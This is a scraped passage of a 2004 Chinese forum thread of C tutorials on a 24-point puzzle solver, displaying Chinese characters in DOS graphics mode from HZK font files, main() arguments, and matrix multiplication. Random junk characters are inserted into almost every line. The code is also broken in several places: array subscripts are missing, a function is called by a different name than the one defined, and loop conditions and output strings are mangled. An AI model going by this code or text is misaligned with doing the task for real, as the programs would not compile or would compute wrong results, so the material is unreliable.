case ')': while(sm[top]!='(')5 n& d8 v& H  A8 P
sp[j++]=sm[top--];
" j' Y/ W  F# X9 d% h! i9 P9 \4 F: x0 c2 ntop--; break;
) Q/ ?: l0 g$ A: @2 Udefault :return(1);6 S$ K- i5 U, M$ H- C2 U& z6 o# b
}5 Q, g  v+ h- Z- m0 ]
c=s[++i];
5 z) a/ ~- `  ^' n}( c. y! t- E% k  O
while(top&gt;0) sp[j++]=sm[top--];# T( G4 T! `( Y; F- y' r5 K- z
sp[j]='\0'; return(0);
* U6 V; V! f& g5 q! q5 d- m}
0 J) D0 o, v8 D/* 由后缀表达式来计算表达式的值 */
) x+ P* ^* v( _% hint calc()& K; o  c' \( e2 L1 [4 [0 p& @
{ int i=0,sm[M],tr; char c;0 S1 J  Q* n9 A5 v! \" ~: J! Q* Y- K
c=sp[0]; top=-1;5 `8 S! ]6 ^- K8 k8 @
while(c!='\0')
5 C6 ~+ ?2 Z$ r0 j, g, d{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
. ?* k! ^9 w4 h0 ]2 p1 g5 r. g6 @这样才可以更方便的处理非一位数, 6 d! B+ }3 E1 ^0 j
ver数组中存放着这些字母所代替的数*/. h- k8 l8 R% z( z; ]
else switch(c)& W- [& o! Z% q2 F
{ case '+': tr=sm[top--]; sm[top]+=tr; break;* O5 t3 {" M  Z
case '-': tr=sm[top--]; sm[top]-=tr; break;3 K, b% P7 E7 D3 C0 c
case '*': tr=sm[top--]; sm[top]*=tr; break;
- q1 ?% B( [5 Z7 i5 s3 |: B; S) ycase '/': tr=sm[top--];sm[top]/=tr;break;1 M* `. P# e5 s& W6 {) _& ?6 X
default : return(1);
( G, p$ o4 ~$ o2 A}
7 ]9 P$ a4 c4 ~' F; P" {c=sp[++i];
" d) H  g. l: G% Z, O6 o}+ [4 k# @2 G+ m2 a6 }6 s
if(top&gt;0) return(1);4 E+ |  `2 D" ^( R- I! X
else { result=sm[top]; return(0); }( }0 ?$ V, a9 A" X5 n# |
}& P2 R6 x5 y4 j/ D& j7 c/ f
</FONT>
( d1 z4 S! f" ]* b, Y7 i  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
7 r7 j/ P( W! \
: J6 j1 X- C8 @, N. _. c  最后我总结了一下这其中容易出错的地方——
' }9 L8 \6 u+ }9 c2 A& T
+ w% p' ^, y6 H' q% ?) j- R  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
$ C8 x$ s) \4 r. M( u+ b7 ^% T- y, o; {
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
) S; d! d- n9 E4 v3 H& J9 O) @2 d5 D( T9 V
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
$ ^, k- u7 p: |/ h- S2 q4 f* L& o6 t, k  J
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。/ o7 C! Z' j8 p9 M$ b; V

/ Q; y4 u* E* B5 V  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。. `6 D, d( M0 b: Y

9 G0 a4 D+ R. ^7 v3 K, W7 _$ \  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
+ C7 u: K& ^8 f5 |2 v  c3 O2 p) p
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
. d) N# ]$ |! U% k7 y</P>
作者: 韩冰    时间: 2004-10-4 02:41
< align=center><FONT color=#cc0000 size=5><B>
% @" j) E% Q$ L图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}( H  D  D; q( A- L* a; b6 a
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
: F" x3 H4 h) c+ N( {/ Y. ]; \: c  汉字显示的第一步是打开字库文件。 0 {6 y4 D9 f7 s% i0 G5 R
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
* w; L7 `/ d4 j( g. G5 a. W  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)5 M7 r5 w; T$ Z1 w6 Q. \
{
% F$ \" S2 J2 iunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
& k8 h, q- K6 {4 N, zint rec,i1,i2,i3; /*z:space between;*/
, A, `) c  y9 d, Z5 ~& O) flong l; /*color:txt color*/; P/ g: z7 C) ?: B6 T" Z$ ^5 L
char by[32]; /*p:HZ str*/, J! x' Y0 z. J8 ]0 y' ]% q1 G
if( handle&lt;0 ) return -1; while((i=*p++)!=0){' {) ]& ^( H" t  {8 L( t
if(i&gt;0xa1)# i* X6 O2 _4 ]8 C; A  ?: w! k; L1 n
if(f==0){+ v! z, R- `: G8 J; R
c1=(i-0xa1)&amp;0x07f;* |/ q% a6 U8 S/ b9 j
f=1;
) d% L! i  @: y$ m; h* M. h& o}
: i6 r2 K/ L# |, ^3 d; ]% [( ?else{- N: j1 X3 ?6 R8 s. j' g3 J5 R
c2=(i-0xa1)&amp;0x07f;# O% ~  t9 _" K* a2 t
f=0;$ I9 h$ j3 f( W% C+ X, f! v2 y
rec=c1*94+c2;2 f. z6 I  J* \) e
l=rec*32L;9 S+ r+ s; V/ N, r9 \
lseek(handle,l,SEEK_SET);
+ t2 ^$ b& m2 u% }read(handle,by,32);
% Q* o) m6 H" R+ t. Q  `for(i1=0;i1&lt;16;i1++)5 z8 K! Q9 C+ L! |
for(i2=0;i2&lt;2;i2++)" l0 }% n& U( N/ F, P) N- m
for(i3=0;i3&lt;8;i3++)6 U" X$ \- o" L- I2 }
if(GetBit(by[i1*2+i2],7-i3))2 h6 b3 K) q# s
putpixel(x+i2*8+i3,y+i1,color);8 S0 z  m% x* g2 _
x=x+z+16;
+ ^# u% ]. _, C; ^, w1 d# J) K}8 l% G; E  B6 i9 i3 b* b( M
}, O1 I4 g) w- Y; C/ ^
return(x);
- E* h' A% j# r# t* e2 T}
4 h  ]" }4 L' a3 e7 G9 o函数GetBit定义如下:* z3 \# y  b% ^8 X5 p
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。9 q% g3 c, C, c9 |' X% U1 U
int GetBit(unsigned char c,int n)
* @3 X' [: ]2 J{& R+ F- F: w, J" D) m
return((c&gt;&gt;n)&amp;1);
6 q9 q& R  z: ]0 N) Y* u, ?% I}
9 u% N' t" j/ V7 ?1 c  y/ B4 \汉字显示结束,应该关闭字库文件。% a- P1 R" y/ d9 k+ y+ U' V$ \
void CloseHz(void)
6 k9 n7 \" f5 `" r% u3 \{
6 G9 q  n0 u" t1 R, {" n& I  Qclose( handle );& b  V. j& Y$ \6 m# L. a
}
1 A) T6 {, c* P1 x$ E#include "\Caic\Include\Hz.h"
1 ~# V0 V# H6 _% V2 k#include <GRAPHICS.H>
& T9 T) A& X8 i8 g#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
! p) k& O! F* Rconst char* HzStr = "苦丁香C语言辅助学习软件";
% V- e- e4 d3 r8 i5 Cvoid main(){- ?" U; R! e) ^; i7 ^' v* C- F. k, C
int gr=DETECT,gm;& j! ?+ @. V& b6 Y7 k& }2 V
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");" K4 {, }, a7 _
OpenHz( Hz16Path );
5 T3 {8 R2 H' P) N% x: aWrt16Hz(20,20,4,RED,HzStr);8 X3 a4 q5 q6 u) C. R+ i& |
CloseHz();
! _" z- E" G# ?$ C+ n7 vgetch();% I2 s& M; C% p, R5 [. F7 v
closegraph();3 [( D% T' M3 x" Q6 J" v6 R( z
}显示24点阵及放大汉字
% t/ }$ g. i( c' {" }) S1 q  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
+ c: W" a. s/ I- d& L$ o函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
! a$ r( _0 X9 J" _4 s1 Rint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
/ m% v5 I1 T8 c& D{
" j4 v, G6 Y8 q. U) D6 `2 j; Cunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/% |) a% l# T+ K2 d" n
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
. O2 P3 B; A9 q( zlong l; /*color:汉字颜色*/, \/ w; y5 z# ?
char by[72]; /*m: x 方向的放大倍数*/
" B* j5 P" [7 c5 n9 g7 c/ f/*n: y 方向的放大倍数*/5 G7 {7 z' H) Y0 ?) }* Q* A  S* H
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
: Z5 D3 g9 ?, S$ ^if(i&gt;0xa1)( F9 {5 `$ h  l6 U9 R
if(f==0){
, W  D' U8 n. Zc1=(i-0xa1)&amp;0x7f;
0 C; W: N& J, B2 G* M, [1 rf=1;
( y* i* s/ Z0 H2 b' v( K$ t}
, K! O1 k& _, T+ x' T7 `9 Lelse{6 a0 N" H+ z) p: L; D
c2=(i-0xa1)&amp;0x7f;, f" \! G2 Z" C) _" i8 P& O
f=0;
0 t& p, m  J) Drec=(c1-15)*94+c2;
* o+ y5 M& D  |9 ]* hl=rec*72L;+ B6 i9 K/ R+ ~4 U: @
lseek(handle,l,SEEK_SET);
3 I, g6 w% p: M9 g6 _  y7 R2 Xread(handle,by,72);3 b- E' K( h. j& D4 c
for(i1=0;i1&lt;24*m;i1=i1+m)4 k4 g4 H' o: @5 `$ T- t  E- [
for(i4=0;i4<M;I4++)) t# g2 a0 f% P! r; W0 W
for(i2=0;i2&lt;=2;i2++)# _5 [: v2 V, Q2 w8 Z
for(i3=0;i3&lt;8;i3++)
+ o' h* v' B* @  C8 y. a0 [if(GetBit(by[i1/m*3+i2],7-i3))
/ {. }# c* J' s' A1 n% Efor(i5=0;i5<N;I5++)1 Z! h$ O2 b/ E- h2 c7 }$ m
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
. n& |( r* }, |/ O7 w  kx=x+24*m+z;
8 e4 ?4 H+ Z* {  o}
: Y; i$ n+ c# F' O/ Y. @}
  j2 a  }4 K) d) }4 V$ e; W* oreturn(x);
: P1 R" ~0 P- W! h} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"9 r3 O  X& Y- ?7 G
#include <GRAPHICS.H>+ V" l* C' H* d
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
" d2 s. Z( ^4 K: b% |* m. i/ Z) v1 cconst char* HzStr = "苦丁香C语言辅助学习软件";* l; @2 `1 i) E6 |* w- G  H& I
void main(){" n& [! Y; V& o5 h3 d5 w( l1 v1 L
int gr=DETECT,gm;
* N3 B& \7 |$ V* F1 M6 Z4 Linitgraph(&amp;gr,gm,"\\Caic\\Bgi");
  E' ^; m/ a2 ?! G9 H/ HOpenHz( Hz24Path );6 C! N; A% ^9 n: ?% ^: o- W
Wrt24Hz(20,20, /*先是在(x,y)*/
  X  ^0 [( r6 h# Z! d# y4 S* J$ @. `4, /*汉字间的空格为4*/. w* x- w: o5 p' g
RED, /*用红色显示*/
& ]- j6 b' Z. ~0 p' U2 F+ E2, /*x 方向放大2倍*/& O6 s' x" m" k$ f9 l
4, /*y 方向放大4倍*/
" u8 Q: Q2 S" h0 LHzStr); /*显示字符串*/
" p9 P6 @7 S. S. a, o& U% Z$ O* \CloseHz();9 Q) j. W' S2 @% ~; F
getch();; ^; ?& A6 z" B
closegraph();
/ Z, I' ^4 f, _) o; s5 f. d- U) `} ; Y" r3 u9 {4 n  J, f) s
</P>
作者: 韩冰    时间: 2004-10-4 02:41
<>  再谈main()主函数
) X4 _. Z, d+ f  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。0 ^3 G2 B1 v4 Z9 N( E
1. main() 参数
( m& |- u6 l' z3 w: v. E8 n  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
! L- a2 Z% L# P2 X  * argc: 整数,为传给main()的命令行参数个数。2 s  D9 J" G# f5 ^
  * argv: 字符串数组。' H. `' S  o  r& \3 y
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;) m. J2 z4 `0 f, z+ z+ t  ^6 S9 K
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;0 p* C+ d; r3 ~
.... i' r7 }% `/ w' _
argv[argc]为NULL。
+ h* B1 y# I1 L# ^  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
2 `" n2 [2 l& Z2 {值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
作者: 韩冰    时间: 2004-10-4 02:43
< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/, a0 t+ X  [) |' p
#include&lt;stdio.h&gt;% }+ |3 S* X5 j- F
#include&lt;conio.h&gt;5 ~; g" h# D- o8 ]$ @" K1 r" y
#define X 3
4 {# v  c3 _3 k: G#define Y 3</P><>int a[X][Y];2 N) ]) \: `& G: _
int b[X][Y];- t+ a: H0 H' L
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
1 _9 {( @7 w: H7 D1 A4 nmain()
( ^. a, z* _# q. _, s{% |, O8 z0 [3 L: o' T- t
int i,j,temp;( d  t; y% g2 ?  u* ]6 g4 z
clrscr();- [7 L1 R: ^9 |  @' {
printf("lease input int matrix b[%d][%d]\n",X,Y);
4 `' P) T& l1 v7 l( ~- S$ `: zfor(i=0;i&lt;Y;i++)+ A  o, g& x: |" s# l
for(j=0;j&lt;Y;j++){
2 l! L( ]. d3 C6 Hscanf("%d",&amp;temp);+ h# |' z# I( }5 M9 y$ O
b[j]=temp;
4 X2 c2 f( [( G, Y9 ~% K}0 z" |6 p6 z  v" P' H: g) |
printf("lease input int matrix c[%d][%d]\n",X,Y);/ O6 D- I& v1 a9 p; R6 @/ K5 p
for(i=0;i&lt;X;i++); o( B3 F0 [5 E. r
for(j=0;j&lt;Y;j++){6 r. _' J- D: u  s* z+ `/ U
scanf("%d",&amp;temp);
( I' K+ A9 Q) X, b3 G1 i$ Lc[j]=temp;
$ C7 h1 e7 ~9 C2 b}( e2 y" L$ s! D7 W9 f" i
matrix(b,c);
; e8 V) `; R' W8 i: N! ?1 wprintf("Now print resource matrix b[%d][%d]=",X,Y);- w6 {1 I' @$ {- \5 v
for(i=0;i&lt;X;i++){
1 R1 N5 {" e( N9 Eprintf("\n");
( \: C7 i* T0 P8 ^. Y0 R5 rfor(j=0;j&lt;Y;j++)# V, h) w0 Y) p: {; Q2 m
printf("%d ",b[j]);+ ?4 i: }- S% Y* @, K& G0 |6 T
}
  Z" o/ b& R" Yprintf("\n");
$ `* z. p  v0 i( ^& ]; bprintf("Now print resource matrix c[%d][%d]=",X,Y);0 S9 `- u, ]) B
for(i=0;i&lt;X;i++){
1 P# b% q# s8 Rprintf("\n");
: G% ?% R) s& R, e6 {' Rfor(j=0;j&lt;Y;j++), s3 {4 r6 j0 ]) _- y5 B, K
printf("%d ",c[j]);
1 A0 k( N0 Z3 i# _6 l}
8 l! l' k4 q: E. lprintf("\n");
2 F$ N' I, j3 yprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);  }( A% S% ^! {. ~0 m6 v
for(i=0;i&lt;X;i++){/ V' @4 v, W+ j9 V  k7 I5 d
printf("\n");
6 o- p9 W' r# Q4 X  m- Wfor(j=0;j&lt;Y;j++)
/ \+ t- l* T% H6 v" G6 _6 Nprintf("%d ",a[j]);
; O2 D1 v! i* Z}& ]5 i" W- R9 U
getch();3 Q- W! Z# w/ W4 r. d1 [; a
return 0;% F/ ~& F5 ?2 \! P
}
% p  H6 n4 m" Y% C6 N9 J/********************************************************************/
0 h) q( T: u$ f" I+ z* M5 svoid matrix(int b[][X],int c[][Y])! [6 K5 }5 Y% }' D0 {
{
" {' `: q9 ?6 K5 G' h) l. Gint i,j,k,temp;( ]1 ~) }( o+ y6 R( R
for(i=0;i&lt;X;i++)4 i) ?- o" C/ n2 y( P0 D
for(j=0;j&lt;Y;j++){8 W6 k% N6 z4 g* b0 C
for(k=0;k&lt;Y;k++); \7 J$ I0 x/ R/ z# j2 B$ j8 Y
a[j]+=b[k]*c[k][j];
8 R! `9 {+ ^1 ^+ I% l* s}
9 `# V$ U0 g+ l" i5 J3 |}</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5